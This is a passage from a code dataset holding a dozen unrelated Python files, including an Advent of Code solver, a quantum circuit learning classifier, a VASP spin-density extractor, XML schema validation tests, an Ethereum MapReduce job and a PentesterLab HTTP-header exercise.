self.history.append((self.horizontal, self.depth))\n\n\nclass SubmarineTracer:\n def __init__(self, name):\n self.name = name\n\n def paint(self, points):\n xs = [x for x, y in points]\n ys = [y for x, y in points]\n min_x = min(xs)\n max_x = max(xs)\n min_y = min(ys)\n max_y = max(ys)\n\n surface = cairo.SVGSurface(f\"{self.name}.svg\", max_x - min_x, max_y - min_y)\n context = cairo.Context(surface)\n context.set_line_width(1.0)\n context.move_to(xs[0], ys[0])\n for x, y in points:\n context.line_to(x, y)\n context.stroke()\n\n\ndef get_input(filename):\n with open(filename, 'r') as f:\n lines = f.read()\n return lines.splitlines()\n\n\ndef test1(data):\n s = Submarine()\n for line in data:\n s >> Command(line)\n return s.summary()\n\n\ndef test2(data):\n s = RealSubmarine()\n for line in data:\n s >> Command(line)\n return s.summary()\n\n\ndef part1(data):\n s = Submarine()\n for line in data:\n s >> Command(line)\n st = SubmarineTracer(\"day2_1\")\n st.paint(s.history)\n return s.summary()\n\n\ndef part2(data):\n s = RealSubmarine()\n for line in data:\n s >> Command(line)\n st = SubmarineTracer(\"day2_2\")\n st.paint(s.history)\n return s.summary()\n\n\nif __name__ == '__main__':\n\n test_input_1 = get_input('ex2')\n print('Test Part 1:')\n test_eq('Test 1.1', test1, 150, test_input_1)\n print()\n\n test_input_2 = get_input('ex2')\n print('Test Part 2:')\n test_eq('Test 2.1', test2, 900, test_input_2)\n print()\n\n data = get_input(f'input{DAY}')\n\n r = part1(data)\n if r is not None:\n print('Part 1:', r)\n if SOLVED_1:\n check_solution(DAY, 1, r)\n else:\n save_solution(DAY, 1, r)\n\n r = part2(data)\n if r is not None:\n print('Part 2:', r)\n if SOLVED_2:\n check_solution(DAY, 2, r)\n else:\n save_solution(DAY, 2, r)\n","repo_name":"remowxdx/AoC-2021","sub_path":"aoc02.py","file_name":"aoc02.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18252909312","text":"from pymongo import MongoClient # finding data\r\ndemoclient = MongoClient()\r\nmyclient = MongoClient('localhost',27017)\r\nmydb = myclient[\"demo\"]\r\nmycoll = mydb[\"dbtable\"]\r\n\r\nmyquery = {\"name\":{\"$regex\":\"^A\"}}\r\n#myquery = {\"name\":\"jay\"}\r\n\r\nmydoc = mycoll.delete_many(myquery)\r\n#mydoc = mycoll.delete_one(myquery)\r\nfor y in mycoll.find():\r\n print(y)\r\n","repo_name":"hadoopaws8/pymongo-files","sub_path":"pymongo6.py","file_name":"pymongo6.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14962692394","text":"# In this challenge, your goal is to send a request with the header X-HTTP-Method-Override set to HACK to /pentesterlab.\n\nimport requests\n\n# Custom header\nheaders = {'X-HTTP-Method-Override' : 'HACK'}\n\nurl = 'http://ptl-336e868b-16b3efe2.libcurl.so/pentesterlab'\n\nr = requests.get(url, headers=headers)\n\nprint(r.url)\nprint(r.text)\n","repo_name":"morellanthony/PL-http-badge","sub_path":"http_22.py","file_name":"http_22.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70960464374","text":"import numpy as np\nfrom qulacs import QuantumState, Observable, QuantumCircuit, ParametricQuantumCircuit\nfrom sklearn.metrics import log_loss\nfrom scipy.optimize import minimize\nfrom qcl_utils import create_time_evol_gate, min_max_scaling, softmax\n\n\nclass QclClassification:\n \"\"\" quantum circuit learningを用いて分類問題を解く\"\"\"\n def __init__(self, nqubit, c_depth, num_class):\n \"\"\"\n :param nqubit: qubitの数。必要とする出力の次元数よりも多い必要がある\n :param c_depth: circuitの深さ\n :param num_class: 分類の数(=測定するqubitの数)\n \"\"\"\n self.nqubit = nqubit\n self.c_depth = c_depth\n\n self.input_state_list = [] # |ψ_in>のリスト\n self.theta = [] # θのリスト\n\n self.output_gate = None # U_out\n\n self.num_class = num_class # 分類の数(=測定するqubitの数)\n\n # オブザーバブルの準備\n obs = [Observable(nqubit) for _ in range(num_class)]\n for i in range(len(obs)):\n obs[i].add_operator(1., f'Z {i}') # Z0, Z1, Z3をオブザーバブルとして設定\n self.obs = obs\n\n def create_input_gate(self, x):\n # 単一のxをエンコードするゲートを作成する関数\n # xは入力特徴量(2次元)\n # xの要素は[-1, 1]の範囲内\n u = QuantumCircuit(self.nqubit)\n \n angle_y = np.arcsin(x)\n angle_z = np.arccos(x**2)\n\n for i in range(self.nqubit):\n if i % 2 == 0:\n u.add_RY_gate(i, angle_y[0])\n u.add_RZ_gate(i, angle_z[0])\n else:\n u.add_RY_gate(i, angle_y[1])\n u.add_RZ_gate(i, angle_z[1])\n \n return u\n\n def set_input_state(self, x_list):\n \"\"\"入力状態のリストを作成\"\"\"\n x_list_normalized = min_max_scaling(x_list) # xを[-1, 1]の範囲にスケール\n \n st_list = []\n \n for x in x_list_normalized:\n st = QuantumState(self.nqubit)\n input_gate = self.create_input_gate(x)\n input_gate.update_quantum_state(st)\n st_list.append(st.copy())\n self.input_state_list = st_list\n\n def create_initial_output_gate(self):\n \"\"\"output用ゲートU_outの組み立て&パラメータ初期値の設定\"\"\"\n u_out = ParametricQuantumCircuit(self.nqubit)\n time_evol_gate = create_time_evol_gate(self.nqubit)\n theta = 2.0 * np.pi * np.random.rand(self.c_depth, self.nqubit, 3)\n self.theta = theta.flatten()\n for d in range(self.c_depth):\n u_out.add_gate(time_evol_gate)\n for i in range(self.nqubit):\n u_out.add_parametric_RX_gate(i, theta[d, i, 0])\n u_out.add_parametric_RZ_gate(i, theta[d, i, 1])\n u_out.add_parametric_RX_gate(i, theta[d, i, 2])\n self.output_gate = u_out\n \n def update_output_gate(self, theta):\n \"\"\"U_outをパラメータθで更新\"\"\"\n self.theta = theta\n parameter_count = len(self.theta)\n for i in range(parameter_count):\n self.output_gate.set_parameter(i, self.theta[i])\n\n def get_output_gate_parameter(self):\n \"\"\"U_outのパラメータθを取得\"\"\"\n parameter_count = self.output_gate.get_parameter_count()\n theta = [self.output_gate.get_parameter(ind) for ind in range(parameter_count)]\n return np.array(theta)\n\n def pred(self, theta):\n \"\"\"x_listに対して、モデルの出力を計算\"\"\"\n\n # 入力状態準備\n # st_list = self.input_state_list\n st_list = [st.copy() for st in self.input_state_list] # ここで各要素ごとにcopy()しないとディープコピーにならない\n # U_outの更新\n self.update_output_gate(theta)\n\n res = []\n # 出力状態計算 & 観測\n for st in st_list:\n # U_outで状態を更新\n self.output_gate.update_quantum_state(st)\n # モデルの出力\n r = [o.get_expectation_value(st) for o in self.obs] # 出力多次元ver\n r = softmax(r)\n res.append(r.tolist())\n return np.array(res)\n\n def cost_func(self, theta):\n \"\"\"コスト関数を計算するクラス\n :param theta: 回転ゲートの角度thetaのリスト\n \"\"\"\n\n y_pred = self.pred(theta)\n\n # cross-entropy loss\n loss = log_loss(self.y_list, y_pred)\n \n return loss\n\n # for BFGS\n def B_grad(self, theta):\n # dB/dθのリストを返す\n theta_plus = [theta.copy() + np.eye(len(theta))[i] * np.pi / 2. for i in range(len(theta))]\n theta_minus = [theta.copy() - np.eye(len(theta))[i] * np.pi / 2. for i in range(len(theta))]\n\n grad = [(self.pred(theta_plus[i]) - self.pred(theta_minus[i])) / 2. for i in range(len(theta))]\n\n return np.array(grad)\n\n # for BFGS\n def cost_func_grad(self, theta):\n y_minus_t = self.pred(theta) - self.y_list\n B_gr_list = self.B_grad(theta)\n grad = [np.sum(y_minus_t * B_gr) for B_gr in B_gr_list]\n return np.array(grad)\n\n def fit(self, x_list, y_list, maxiter=1000):\n \"\"\"\n :param x_list: fitしたいデータのxのリスト\n :param y_list: fitしたいデータのyのリスト\n :param maxiter: scipy.optimize.minimizeのイテレーション回数\n :return: 学習後のロス関数の値\n :return: 学習後のパラメータthetaの値\n \"\"\"\n\n # 初期状態生成\n self.set_input_state(x_list)\n\n # 乱数でU_outを作成\n self.create_initial_output_gate()\n theta_init = self.theta\n\n # 正解ラベル\n self.y_list = y_list\n\n # for callbacks\n self.n_iter = 0\n self.maxiter = maxiter\n \n print(\"Initial parameter:\")\n print(self.theta)\n print()\n print(f\"Initial value of cost function: {self.cost_func(self.theta):.4f}\")\n print()\n print('============================================================')\n print(\"Iteration count...\")\n result = minimize(self.cost_func,\n self.theta,\n # method='Nelder-Mead',\n method='BFGS',\n jac=self.cost_func_grad,\n options={\"maxiter\":maxiter},\n callback=self.callbackF)\n theta_opt = self.theta\n print('============================================================')\n print()\n print(\"Optimized parameter:\")\n print(self.theta)\n print()\n print(f\"Final value of cost function: {self.cost_func(self.theta):.4f}\")\n print()\n return result, theta_init, theta_opt\n\n def callbackF(self, theta):\n self.n_iter = self.n_iter + 1\n if 10 * self.n_iter % self.maxiter == 0:\n print(f\"Iteration: {self.n_iter} / {self.maxiter}, Value of cost_func: {self.cost_func(theta):.4f}\")\n\n\ndef main():\n # 乱数のシード\n random_seed = 0\n # 乱数���生器の初期化\n np.random.seed(random_seed)\n\n nqubit = 3 # qubitの数。入出力の次元数よりも多い必要がある\n c_depth = 2 # circuitの深さ\n num_class = 3\n\n qcl = QclClassification(nqubit, c_depth, num_class)\n\n n_sample = 10\n x_list = np.random.rand(n_sample, 2)\n y_list = np.eye(num_class)[np.random.randint(num_class, size=(n_sample,))]\n\n qcl.fit(x_list, y_list)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"qulacs/quantum-native-dojo","sub_path":"notebooks/qcl_classification.py","file_name":"qcl_classification.py","file_ext":"py","file_size_in_byte":7656,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"21"} +{"seq_id":"36736598718","text":"from django.urls import path\nfrom django.contrib import admin\n\nfrom .views import CommentOnPropertyView, ReplyToCommentView, DisplayPropertyCommentsView, UserCommentsView, UserCommentCreateView, TargetUserCommentsView\n\napp_name = 'comments'\n\nurlpatterns = [\n path('comment/property/', CommentOnPropertyView.as_view()),\n path('reply/', ReplyToCommentView.as_view()),\n path('view/property/', DisplayPropertyCommentsView.as_view()),\n path('myComments', UserCommentsView.as_view()),\n path('comment/user/', UserCommentCreateView.as_view()),\n path('view/user/', TargetUserCommentsView.as_view()),\n]","repo_name":"TEJMaster/Restify_P3","sub_path":"backend/comments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17297908295","text":"#!/usr/bin/env python\n\"\"\"\nA script to extract spindensity form CHGCAR file.\nUser must specify filename in command line.\neg. python spincar.py CHGCAR\n** Does NOT work with Molecular dynamics output.\nDepends on ase\n\"\"\"\n\nfrom __future__ import print_function\nimport argparse\nimport os\nimport sys\nimport numpy as np\nimport math\nimport string\nimport datetime\nimport time\nfrom ase.calculators.vasp import VaspChargeDensity\n\n\n# Command line praser\n#----------------------------\nparser = argparse.ArgumentParser(description='A script to calculate the spin density.')\nparser.add_argument('CHGCAR', nargs='*', help=\"name of the CHGCAR files.\")\n\nprm = parser.parse_args()\n\nstarttime = time.time()\nprint(\"Starting calculation at\",end='')\nprint(time.strftime(\"%H:%M:%S on %a %d %b %Y\"))\n\n\n# Find out how many arguments were on the command line,\nnsubtract = len(prm.CHGCAR)\nif not nsubtract == 1:\n print(\"\\n** ERROR: Must specify the name of file on command line.\")\n print(\"eg. chgdiff.py CHGCAR\")\n print(\"Only one file name are allowed\")\n sys.exit(0)\n\nif not os.path.isfile(prm.CHGCAR[0]):\n print(\"\\n** ERROR: Input file %s was not found.\" % prm.CHGCAR[0])\n sys.exit(0)\n\n\n# Read information from command line\n# First specify location of CHGCAR\nCHGCARfile = prm.CHGCAR[0].lstrip()\n\n\n# Open geometry and density class objects\n#-----------------------------------------\nvasp_charge = VaspChargeDensity(filename = CHGCARfile)\nif len(vasp_charge.chgdiff) == 3:\n spin=3\n print(\"\\nReading spin orbital potential data from file %s ... \" % CHGCARfile,end='')\n sys.stdout.flush()\n atoms = vasp_charge.atoms[-1]\n potl_total = vasp_charge.chg[-1]\n potl_x = vasp_charge.chgdiff[0]\n potl_y = vasp_charge.chgdiff[1]\n potl_z = vasp_charge.chgdiff[2]\n if not potl_total.shape == potl_x.shape == potl_y.shape == potl_z.shape:\n print(\"\\n**ERROR: Two sets of data are not on the same grid.\")\n print(\"Data from data block 1 on %dx%dx%d grid.\" % (potl_total.shape[0],potl_total.shape[1],potl_total.shape[2]))\n print(\"Data from data block 2 on %dx%dx%d grid.\" % (potl_x.shape[0],potl_x.shape[1],potl_x.shape[2]))\n print(\"Data from data block 3 on %dx%dx%d grid.\" % (potl_y.shape[0],potl_y.shape[1],potl_y.shape[2]))\n print(\"Data from data block 4 on %dx%dx%d grid.\" % (potl_z.shape[0],potl_z.shape[1],potl_z.shape[2]))\n sys.exit(0)\n else:\n print('done.')\n\nelif len(vasp_charge.chgdiff) == 1:\n spin=2\n print(\"\\nReading spin polarized potential data from file %s ... \" % CHGCARfile,end='')\n sys.stdout.flush()\n atoms = vasp_charge.atoms[-1]\n potl_updown = vasp_charge.chg[-1]\n potl_upmdown = vasp_charge.chgdiff[0]\n if not potl_updown.shape == potl_upmdown.shape:\n print(\"\\n**ERROR: Two sets of data are not on the same grid.\")\n print(\"Data from data block 1 on %dx%dx%d grid.\" % (potl_updown.shape[0],potl_updown.shape[1],potl_updown.shape[2]))\n print(\"Data from data block 2 on %dx%dx%d grid.\" % (potl_updown.shape[0],potl_upmdown.shape[1],potl_upmdown.shape[2]))\n sys.exit(0)\n else:\n # get density for each spin channels\n potl_up = (potl_updown+potl_upmdown)/2\n potl_down = (potl_updown-potl_upmdown)/2\n print('done.')\n\nelif len(vasp_charge.chgdiff) == 0:\n spin=1\n print(\"\\nReading spin paired potential data from file %s ... \" % CHGCARfile, end='')\n sys.stdout.flush()\n print(\"\\nFile only contains one block of data, check if is polarized calculation.\")\n sys.exit(0)\n\nelse:\n print(\"\\n** ERROR: CHGCAR data block error, total of %s data blocks was found.\" % len(vasp_charge.chg))\n sys.exit(0)\n\ndel vasp_charge\n\n\n# Exctract data\n#------------------------\nif spin == 3: # SOC\n chg_total = VaspChargeDensity(filename=None)\n chg_total.atoms=[atoms,]\n chg_total.chg=[potl_total,]\n\n chg_x = VaspChargeDensity(filename=None)\n chg_x.atoms=[atoms,]\n chg_x.chg=[potl_x,]\n\n chg_y = VaspChargeDensity(filename=None)\n chg_y.atoms=[atoms,]\n chg_y.chg=[potl_y,]\n\n chg_z = VaspChargeDensity(filename=None)\n chg_z.atoms=[atoms,]\n chg_z.chg=[potl_z,]\n\n # Print out charge density\n #--------------------------\n # Check whether CHGDIFF exists\n for chgfiles in ['SPINCAR_total.vasp','SPINCAR_x.vasp','SPINCAR_y.vasp','SPINCAR_z.vasp']:\n if os.path.isfile(\"./\"+i):\n print(\"\\n**WARNING: A file called CHGDIFF already exists in this directory.\")\n if float(sys.version.split()[0][:3]) < 3.0:\n yesno=raw_input(\"Type y to continue and overwrite it, any other key to stop\\n\")\n else:\n yesno=input(\"Type y to continue and overwrite it, any other key to stop\\n\")\n if yesno!=\"y\":\n sys.exit(0)\n # Writing data ...\n print(\"Writing density difference data to file ...\", end='')\n sys.stdout.flush()\n chg_total.write(filename=\"SPINCAR_total.vasp\",format=\"chgcar\")\n chg_x.write(filename=\"SPINCAR_x.vasp\",format=\"chgcar\")\n chg_y.write(filename=\"SPINCAR_y.vasp\",format=\"chgcar\")\n chg_z.write(filename=\"SPINCAR_z.vasp\",format=\"chgcar\")\n # adding atomic species\n fin = [atoms.get_chemical_symbols()[0]]\n for i in range(len(atoms.get_chemical_symbols())):\n if i == len(atoms.get_chemical_symbols())-1: break\n if atoms.get_chemical_symbols()[i] != atoms.get_chemical_symbols()[i+1]:\n fin.append(atoms.get_chemical_symbols()[i+1])\n\n for chgfiles in ['SPINCAR_total.vasp','SPINCAR_x.vasp','SPINCAR_y.vasp','SPINCAR_z.vasp']:\n f = open(chgfiles, \"r\")\n contents = f.readlines()\n f.close()\n\n contents.insert(5, ' '.join(fin)+'\\n')\n\n f = open(chgfiles, \"w\")\n contents = \"\".join(contents)\n f.write(contents)\n f.close()\n print(\"done.\")\n\nif spin == 2: # Spin polarized\n chg_updown = VaspChargeDensity(filename=None)\n chg_updown.atoms=[atoms,]\n chg_updown.chg=[potl_updown,]\n\n chg_upmdown = VaspChargeDensity(filename=None)\n chg_upmdown.atoms=[atoms,]\n chg_upmdown.chg=[potl_upmdown,]\n\n chg_up = VaspChargeDensity(filename=None)\n chg_up.atoms=[atoms,]\n chg_up.chg=[potl_up,]\n\n chg_down = VaspChargeDensity(filename=None)\n chg_down.atoms=[atoms,]\n chg_down.chg=[potl_down,]\n\n # Print out charge density\n #--------------------------\n # Check whether CHGDIFF exists\n for chgfiles in ['SPINCAR_up+down.vasp','SPINCAR_up-down.vasp','SPINCAR_up.vasp','SPINCAR_down.vasp']:\n if os.path.isfile(\"./\"+chgfiles):\n print(\"\\n**WARNING: A file called ' \" + chgfiles + \" ' already exists in this directory.\")\n if float(sys.version.split()[0][:3]) < 3.0:\n yesno=raw_input(\"Type y to continue and overwrite it, any other key to stop\\n\")\n else:\n yesno=input(\"Type y to continue and overwrite it, any other key to stop\\n\")\n if yesno!=\"y\":\n sys.exit(0)\n # Writing data ...\n print(\"\\nWriting density difference data to file ...\", end='')\n sys.stdout.flush()\n chg_updown.write(filename=\"SPINCAR_up+down.vasp\",format=\"chgcar\")\n chg_upmdown.write(filename=\"SPINCAR_up-down.vasp\",format=\"chgcar\")\n chg_up.write(filename=\"SPINCAR_up.vasp\",format=\"chgcar\")\n chg_down.write(filename=\"SPINCAR_down.vasp\",format=\"chgcar\")\n\n if float(sys.version.split()[0][:3]) < 3.0:\n # adding atomic species\n fin = [atoms.get_chemical_symbols()[0]]\n for i in range(len(atoms.get_chemical_symbols())):\n if i == len(atoms.get_chemical_symbols())-1: break\n if atoms.get_chemical_symbols()[i] != atoms.get_chemical_symbols()[i+1]:\n fin.append(atoms.get_chemical_symbols()[i+1])\n\n for chgfiles in ['SPINCAR_up+down.vasp','SPINCAR_up-down.vasp','SPINCAR_up.vasp','SPINCAR_down.vasp']:\n f = open(chgfiles, \"r\")\n contents = f.readlines()\n f.close()\n\n contents.insert(5, ' '.join(fin)+'\\n')\n\n f = open(chgfiles, \"w\")\n contents = \"\".join(contents)\n f.write(contents)\n f.close()\n print(\"done.\")\n\n# Post process\n#-------------------\nendtime = time.time()\nruntime = endtime-starttime\nprint(\"\\nEnd of calculation.\")\nprint(\"Program was running for %.2f seconds.\" % runtime)\n","repo_name":"Chengcheng-Xiao/Tools","sub_path":"VASP/spincar.py","file_name":"spincar.py","file_ext":"py","file_size_in_byte":8308,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"19223668442","text":"import re\n\ntestString = ''\nwith open('processedTextFile1.txt') as f:\n sample = ''\n lines = f.readlines()\n for line in lines:\n sample = sample + line\n testString = sample.rstrip()\nsplittedString = testString.split(\".\")\n\nfor x in splittedString:\n r2 = re.findall(\"\\[*[^\\]]*\\]\",x)\n if len(r2) > 0:\n r2[0].rstrip()\n print(r2)\n","repo_name":"UmarNasib/ReferenceValidation","sub_path":"inputProcess.py","file_name":"inputProcess.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41419490598","text":"import os\r\nimport shutil\r\nimport argparse\r\nCRED = '\\033[91m'\r\nCEND = '\\033[0m'\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"directory\", help=\"directory in which there are the json to rename\",type=str,nargs='?', default=\"\\\\output\\\\0\")\r\nargs = parser.parse_args()\r\nor_path=os.getcwd()\r\npath = os.getcwd()+args.directory\r\nfiles = os.listdir(path)\r\ni=0\r\nif(not os.path.isdir(os.getcwd()+\"\\\\MocapNET-master\")):\r\n print(\"Error, MocapNET not found\\nPlease install MocapNET https://github.com/FORTH-ModelBasedTracker/MocapNET\")\r\n quit()\r\nif(not os.path.isdir(os.getcwd()+\"\\\\MocapNET-master\\\\BRUoutPATS_FEMME\")):\r\n os.mkdir(os.getcwd()+\"\\\\MocapNET-master\\\\BRUout1\")\r\nfor file in files:\r\n index=\"0000\"+str(i)\r\n decalage=len(index)-5\r\n index=index[decalage:len(index)]\r\n shutil.copyfileobj\r\n file_src = path+\"\\\\\"+file \r\n f_src = open(file_src, 'rb')\r\n file_dest =or_path+\"\\\\MocapNET-master\\\\BRUoutPATS_FEMME\\\\\"+\"color_\"+file[0]+\"_\"+index+\"_keypoints.json\" \r\n f_dest = open(file_dest, 'wb')\r\n shutil.copyfileobj(f_src, f_dest) \r\n #os.rename(os.path.join(path, file), os.path.join(or_path+\"\\\\MocapNET-master\\\\BRUout\",\"color_\"+file[0]+\"_\"+index+\"_keypoints.json\"))\r\n i+=1\r\n\r\n","repo_name":"Michele1996/PFE-OpenPose-to-VAE-to-BVH","sub_path":"renam_files_for_MocapNET.py","file_name":"renam_files_for_MocapNET.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"38521109837","text":"import unittest\nimport os\n\nfrom musicc.utils.tools import working_directory, information, warning\nfrom musicc.utils.xml_functions import (\n load_xsd_file,\n load_xsd_zip,\n load_xml_file,\n check_validation_errors,\n)\n\nfrom lxml import etree\nimport zipfile\nfrom musicc.tests.test_url_requests import UploadZipTestCase\nfrom musicc.models.BaseModel import BaseModel\nfrom musicc.models.revisions.OpenScenarioRevision import OpenScenarioRevision\nfrom django.conf import settings\nfrom musicc.models.OpenScenario import OpenScenario\n\n\n################### XSD ####################################################\n\n\nclass XSDTestCase(unittest.TestCase):\n def check_xsd(self, xsd_file):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n self.assertIsNotNone(load_xsd_file(xsd_file))\n\n def exception_xsd(self, e, xsd_file):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n self.assertRaises(e, load_xsd_file, xsd_file)\n\n\nclass TestXSDChecker(XSDTestCase):\n def test_ship_xsd_ok(self):\n self.check_xsd(\"test_files/shiporder_basic.xsd\")\n\n def test_no_xsd(self):\n self.exception_xsd(FileNotFoundError, \"does_not_exist.xsd\")\n\n def test_badly_formatted_xsd_file(self):\n self.exception_xsd(\n etree.XMLSchemaParseError,\n \"test_files/shiporder_format_error_basic.xsd\",\n )\n\n\n###################### XML #################################################\n\n\nclass XMLTestCase(unittest.TestCase):\n def check_xml(self, xml_file):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n self.assertIsNotNone(load_xml_file(xml_file))\n\n def exception_xml(self, e, xml_file):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n self.assertRaises(e, load_xml_file, xml_file)\n\n\nclass TestXMLChecker(XMLTestCase):\n def test_ship_xml_ok(self):\n self.check_xml(\"test_files/shiporder_basic.xsd\")\n\n def test_no_xml(self):\n self.exception_xml(FileNotFoundError, \"does_not_exist.xml\")\n\n def test_badly_formatted_xml_file(self):\n self.exception_xml(\n etree.XMLSyntaxError, \"test_files/test_format_error_shiporder.xml\"\n )\n\n\n###################### XML + XSD ######################################\n\n\nclass ValidationTestCase(unittest.TestCase):\n def check_if_valid(self, xml_file, xsd_file) -> (etree.XMLSyntaxError):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n xsd_doc = load_xsd_file(xsd_file)\n xml_doc = load_xml_file(xml_file)\n try:\n return check_validation_errors(xml_doc, xsd_doc)\n except etree.DocumentInvalid as err: \n return err.error_log\n \n \n\n def exception_during_validation(self, e, xml_file, xsd_file):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n xsd_doc = load_xsd_file(xsd_file)\n xml_doc = load_xml_file(xml_file)\n self.assertRaises(e, check_validation_errors, xml_doc, xsd_doc)\n\n\n\nclass TestScenarioValidation(UploadZipTestCase):\n def test_base_model_parameter_declaration_validation(self):\n with open(os.path.join(settings.BASE_DIR, \"tests\", \"test_files\", \"oncoming.xosc\"), \"rb\") as xosc_file:\n self.assertRaises(etree.DocumentInvalid, BaseModel.validate, OpenScenarioRevision.latest_revision(), xosc_file.read(), \"OpenSCENARIO\")\n\n\n def test_open_scenario_parameter_declaration_validation(self):\n with open(os.path.join(settings.BASE_DIR, \"tests\", \"test_files\", \"oncoming.xosc\"), \"rb\") as xosc_file:\n try:\n OpenScenario.validate(OpenScenarioRevision.latest_revision(), xosc_file.read(), \"OpenSCENARIO\")\n except etree.DocumentInvalid as err:\n self.assertEqual(len(err.error_log), 1)\n self.assertNotEqual(err.error_log[0].message, \"Element 'Absolute', attribute 'value': '$InitialSpeed' is not a valid value of the atomic type 'xs:double'.\")\n\nclass TestValidationChecker(ValidationTestCase):\n def test_ship_ok(self):\n self.assertIsNone(\n self.check_if_valid(\n \"test_files/test_shiporder.xml\", \"test_files/shiporder_basic.xsd\"\n )\n )\n\n def test_scenario_Overtaker_ok(self):\n self.assertIsNone(\n self.check_if_valid(\n \"test_files/OpenSCENARIO_v0.9.1/Examples/Standard/Overtaker/Overtaker.xosc\",\n \"test_files/OpenSCENARIO_v0.9.1/OpenSCENARIO_v0.9.1.xsd\",\n )\n )\n\n def test_ship_fail(self):\n self.assertIsNotNone(\n self.check_if_valid(\n \"test_files/test_fail_shiporder.xml\", \"test_files/shiporder_basic.xsd\"\n )\n )\n\n def test_error_messages(self):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n xsd_doc = load_xsd_file(\"test_files/shiporder_basic.xsd\")\n xml_doc = load_xml_file(\"test_files/test_fail_shiporder.xml\")\n try:\n error_log = check_validation_errors(xml_doc, xsd_doc)\n except etree.DocumentInvalid as err: \n error_log = err.error_log\n\n self.assertIsNotNone(error_log)\n self.assertEqual(len(error_log), 2, \"2 errors should be detected\")\n self.assertEqual(\n error_log[0].domain_name, \"SCHEMASV\", \"domain name should be SCHEMASV\"\n )\n self.assertEqual(\n error_log[0].path, \"/shiporder/shipto/city\", \"path incorrect\"\n )\n self.assertEqual(error_log[0].column, 0, \"incorrect column reported\")\n self.assertEqual(error_log[0].line, 10, \"incorrect line reported\")\n\n def test_validate_from_zip_simple(self):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n zip_file = zipfile.ZipFile(\"test_files/shiporder_basic.zip\", mode=\"r\")\n xsd_doc = load_xsd_zip(\"shiporder_basic.xsd\", zip_file)\n xml_doc = load_xml_file(\"test_files/test_shiporder.xml\")\n error_log = check_validation_errors(xml_doc, xsd_doc)\n\n self.assertIsNone(error_log)\n\n def test_validate_from_zip_complex(self):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n zip_file = zipfile.ZipFile(\n \"test_files/OpenSCENARIO_v0.9.1/OpenSCENARIO_v0.9.1.zip\", mode=\"r\"\n )\n xml_doc = load_xml_file(\n \"test_files/OpenSCENARIO_v0.9.1/Examples/Standard/Overtaker/Overtaker.xosc\"\n )\n xsd_doc = load_xsd_zip(\"OpenSCENARIO_v0.9.1.xsd\", zip_file)\n error_log = check_validation_errors(xml_doc, xsd_doc)\n\n self.assertIsNone(error_log)\n\n def test_validate_from_zip_wrong_xsd_master(self):\n with working_directory(os.path.abspath(os.path.dirname(__file__))):\n zip_file = zipfile.ZipFile(\"test_files/shiporder_basic.zip\", mode=\"r\")\n self.assertRaises(\n FileNotFoundError, load_xsd_zip, \"wrong_xsd_master.xsd\", zip_file\n )\n\n\n#######################################################################\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"theoutsider24/musicc","sub_path":"musicc/tests/test_xml_functions.py","file_name":"test_xml_functions.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14612308955","text":"from mrjob.job import MRJob\nfrom mrjob.step import MRStep\nclass CWPartB1(MRJob):\n\n #conAdd = {}\n \n def mapper1(self, _ , line):\n try:\n fields = line.split(\",\")\n if len(fields) == 7:\n address = fields[2]\n value = int(fields[3])\n if (value > 0):\n yield(address, (value,1))\n elif len(fields) == 5:\n yield(fields[0],(1,2))\n # if not(fields[0] in self.conAdd):\n # self.conAdd[fields[0]] = 1\n\n except:\n pass\n\n def reducer1(self, word, counts):\n # if word in self.conAdd:\n # yield(word, sum(counts))\n # yield(word, sum(counts))\n\n isContract = False\n addSum = 0\n for value in counts:\n if value[1] == 1:\n addSum += value[0]\n elif value[1] == 2:\n isContract = True\n if isContract and addSum > 0:\n yield(None,(word,addSum))\n\n def combiner2(self, _, count):\n sorted_values = sorted(count, reverse = True, key = lambda tup:tup[1])\n i = 0\n for value in sorted_values:\n yield (\"top\", value)\n i += 1\n if i >= 10:\n break\n\n def reducer2(self, _, values):\n sorted_values = sorted(values, reverse = True, key = lambda tup:tup[1])\n i = 0\n for value in sorted_values:\n yield (\"{} - {} \".format(value[0],value[1]),None)\n i += 1\n if i >= 10:\n break\n\n def steps(self):\n return[MRStep(mapper = self.mapper1,\n reducer = self.reducer1),\n MRStep(combiner = self.combiner2,\n reducer = self.reducer2)]\n\nif __name__ == '__main__':\n CWPartB1.run()","repo_name":"Amrit-Code/Big-Data","sub_path":"code/PartB/PartB.py","file_name":"PartB.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14367868741","text":"import logging\nimport os\nimport pickle\nimport json\nimport time\nimport traceback\nimport multiprocessing\n\nimport tqdm\nimport torch\nimport trimesh\nimport numpy as np\nfrom PIL import Image\n\ntry:\n import pickle5\nexcept ImportError:\n 